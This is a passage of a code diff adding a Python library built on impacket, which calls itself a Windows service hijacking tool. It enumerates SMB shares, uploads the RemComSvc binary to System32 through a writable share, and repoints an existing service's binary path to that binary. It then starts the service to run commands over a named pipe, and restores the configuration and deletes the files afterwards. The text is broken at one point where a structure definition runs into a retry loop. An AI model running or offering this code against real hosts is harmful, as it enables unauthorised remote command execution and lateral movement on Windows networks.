+ raise Exception("Failed to open SCM") + + resp = scmr.hROpenServiceW(self.rpcsvc, scm_handle, service_name + '\x00') + service_handle = resp['lpServiceHandle'] + LOG.info("Restoring service configuration...") + LOG.info(" - Binary Path: %s" % original_config.binary_path_name) + LOG.info(" - Start Type: %d" % original_config.start_type) + LOG.info(" - Start Name: %s" % original_config.start_name) + + scmr.hRChangeServiceConfigW( + self.rpcsvc, service_handle, + scmr.SERVICE_NO_CHANGE, + original_config.start_type, + scmr.SERVICE_NO_CHANGE, + original_config.binary_path_name + '\x00' if original_config.binary_path_name else scmr.NULL, + scmr.NULL, + scmr.NULL, + scmr.NULL, + 0, + original_config.start_name + '\x00' if original_config.start_name else scmr.NULL, + scmr.NULL, + 0, + scmr.NULL + ) + + LOG.info("Service configuration restored successfully") + return True + + except Exception as e: + LOG.critical("Error restoring service config: %s" % str(e)) + return False + finally: + try: + if service_handle: + scmr.hRCloseServiceHandle(self.rpcsvc, service_handle) + if scm_handle: + scmr.hRCloseServiceHandle(self.rpcsvc, scm_handle) + except: + pass + + def getShares(self): + """Get available shares on target""" + LOG.info("Requesting shares on %s....." % (self.connection.getRemoteHost())) + try: + self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), + self.connection.getRemoteHost(), + filename=r'\srvsvc', + smb_connection=self.connection) + dce_srvs = self._rpctransport.get_dce_rpc() + dce_srvs.connect() + dce_srvs.bind(srvs.MSRPC_UUID_SRVS) + resp = srvs.hNetrShareEnum(dce_srvs, 1) + return resp['InfoStruct']['ShareInfo']['Level1'] + except: + LOG.critical("Error requesting shares on %s, aborting....." % (self.connection.getRemoteHost())) + raise + + def findWritableShare(self, shares): + """Find a writable share for file uploads""" + writeableShare = None + for i in shares['Buffer']: + if i['shi1_type'] == srvs.STYPE_DISKTREE or i['shi1_type'] == srvs.STYPE_SPECIAL: + share = i['shi1_netname'][:-1] + tid = 0 + try: + tid = self.connection.connectTree(share) + self.connection.openFile(tid, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) + except: + LOG.debug('Exception', exc_info=True) + LOG.critical("share '%s' is not writable." % share) + pass + else: + LOG.info('Found writable share %s' % share) + writeableShare = str(share) + break + finally: + if tid != 0: + self.connection.disconnectTree(tid) + return writeableShare + + def uploadFile(self, local_file, remote_filename=None): + """Upload a file to the target""" + if self.share is None: + shares = self.getShares() + self.share = self.findWritableShare(shares) + if self.share is None: + raise Exception("No writable share found") + + if remote_filename is None: + remote_filename = os.path.basename(local_file) + + LOG.info("Uploading file %s to %s" % (local_file, remote_filename)) + + try: + if isinstance(local_file, str): + fh = open(local_file, 'rb') + else: + fh = local_file + + pathname = remote_filename.replace('/', '\\') + self.connection.putFile(self.share, pathname, fh.read) + fh.close() + + self.uploaded_files.append(remote_filename) + LOG.info("File uploaded successfully") + return True + + except Exception as e: + LOG.critical("Error uploading file %s: %s" % (local_file, str(e))) + raise + + def cleanupFiles(self): + """Clean up uploaded files""" + if not self.uploaded_files: + return + + LOG.info("Cleaning up uploaded files...") + for filename in self.uploaded_files: + try: + self.connection.deleteFile(self.share, filename) + LOG.info("Deleted file: %s" % filename) + except Exception as e: + LOG.warning("Failed to delete file %s: %s" % (filename, str(e))) + + self.uploaded_files = [] + + def executePayloadViaService(self, service_name, payload, wait_time=5): + """ + Complete payload execution via service hijacking + This method replicates the exact logic of original psexec.py doStuff method + but uses service hijacking instead of service installation + """ + # Complete service hijacking execution workflow + LOG.info("Executing payload via service hijacking: %s" % service_name) + + original_config = None + service_hijacked = False + + try: + original_config = self.backupServiceConfig(service_name) + + LOG.info("Uploading RemComSvc...") + from impacket.examples import serviceinstall + + installService = serviceinstall.ServiceInstall(self.connection, remcomsvc.RemComSvc(), service_name, None) + + remcom_svc = remcomsvc.RemComSvc() + remcom_filename = installService.binaryServiceName + remcom_path = installService.getShare() + "\\" + remcom_filename + + self.uploadFile(remcom_svc, "System32\\" + remcom_filename) + + full_remcom_path = "C:\\Windows\\System32\\" + remcom_filename + if not self.hijackService(service_name, full_remcom_path): + raise Exception("Failed to hijack service") + service_hijacked = True + + LOG.info("Stopping service first...") + self.stopService(service_name) + + LOG.info("Starting service...") + if not self.startService(service_name): + raise Exception("Failed to start service") + + LOG.info("Executing command via RemComSvc...") + + s = self.connection + s.setTimeout(100000) + + tid = s.connectTree('IPC$') + fid_main = self.openPipe(s, tid, r'\RemCom_communicaton', 0x12019f) + from impacket.structure import Structure + + class RemComMessage(Structure): + structure = ( + ('Command','4096s=""'), + ('WorkingDir','260s=""'), + ('Priority',' 0: + try: + s.waitNamedPipe(tid, pipe) + pipeReady = True + except: + tries -= 1 + time.sleep(2) + pass + + if tries == 0: + raise Exception('Pipe not ready, aborting') + + fid = s.openFile(tid, pipe, accessMask, creationOption=0x40, fileAttributes=0x80) + return fid + +# Example usage and testing +if __name__ == '__main__': + print("ServiceChanger - Windows Service Hijacking Tool") + print("This is a helper library for hijacking Windows services") + print("Use this class in your own scripts to modify remote services")